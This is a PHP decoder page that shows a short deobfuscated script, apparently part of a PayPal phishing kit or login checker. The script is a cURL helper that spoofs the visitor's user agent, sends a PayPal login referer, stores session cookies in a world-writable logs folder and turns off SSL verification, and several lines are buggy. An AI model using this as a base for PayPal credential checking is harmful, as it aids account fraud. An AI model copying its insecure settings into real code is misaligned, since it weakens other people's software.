Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); session_start(); set_time_limit(0); include("../config.php")..

Decoded Output download

<?php 
error_reporting(0); 
session_start(); 
set_time_limit(0); 
include("../config.php"); 
$entrar   = (__DIR__); 
$hopl = "https://www.paypal.com/"; 
$Registro['cookie_file'] = $entrar . '/logs/' . sha1('R') . '.log'; 
$Remplazar = @fopen($Registro['cookie_file'], 'w'); 
function curl($url = '', $var = '') 
{ 
    global $Registro; 
    $curl = curl_init($url); 
    curl_setopt($curl, CURLOPT_NOBODY, $header); 
    curl_setopt($curl, CURLOPT_HEADER, $nobody); 
    curl_setopt($curl, CURLOPT_TIMEOUT, 10); 
    curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
    curl_setopt($curl, CURLOPT_REFERER, $hopl, 'webscr?cmd=_run-check-cookie-submit&redirectCmd=_login-submit'); 
    curl_setopt($curl, CURLOPT_COOKIEFILE, $Registro['cookie_file']); 
    curl_setopt($curl, CURLOPT_COOKIEJAR, $Registro['cookie_file']); 
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); 
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
	    if ($var) { 
        curl_setopt($curl, CURLOPT_POST, true); 
        curl_setopt($curl, CURLOPT_POSTFIELDS, $var); 
    } 
    $result = curl_exec($curl); 
    curl_close($curl); 
    return $result; 
} 
 
function fetch_value($str, $find_start, $find_end) 
{ 
    $start = strpos($str, $find_start); 
    if ($start === false) { 
        return ""; 
    } 
    $length = strlen($find_start); 
    $end    = strpos(substr($str, $start + $length), $find_end); 
    return trim(substr($str, $start + $length, $end)); 
} 
function delete_cookies() 
{ 
    global $Registro; 
    @fclose($Remplazar); 
} 
	if (!file_exists('logs')) { 
    mkdir('logs', 0777, true); 
	} 
?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
session_start();
set_time_limit(0);
include("../config.php");
$entrar   = (__DIR__);
$hopl = "https://www.paypal.com/";
$Registro['cookie_file'] = $entrar . '/logs/' . sha1('R') . '.log';
$Remplazar = @fopen($Registro['cookie_file'], 'w');
function curl($url = '', $var = '')
{
    global $Registro;
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_NOBODY, $header);
    curl_setopt($curl, CURLOPT_HEADER, $nobody);
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($curl, CURLOPT_REFERER, $hopl, 'webscr?cmd=_run-check-cookie-submit&redirectCmd=_login-submit');
    curl_setopt($curl, CURLOPT_COOKIEFILE, $Registro['cookie_file']);
    curl_setopt($curl, CURLOPT_COOKIEJAR, $Registro['cookie_file']);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	    if ($var) {
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $var);
    }
    $result = curl_exec($curl);
    curl_close($curl);
    return $result;
}

function fetch_value($str, $find_start, $find_end)
{
    $start = strpos($str, $find_start);
    if ($start === false) {
        return "";
    }
    $length = strlen($find_start);
    $end    = strpos(substr($str, $start + $length), $find_end);
    return trim(substr($str, $start + $length, $end));
}
function delete_cookies()
{
    global $Registro;
    @fclose($Remplazar);
}
	if (!file_exists('logs')) {
    mkdir('logs', 0777, true);
	}
?>

Function Calls

session_start 1
set_time_limit 1
error_reporting 1

Variables

None

Stats

MD5 696e1ea4209b3ac8d6479422868ac718
Eval Count 0
Decode Time 124 ms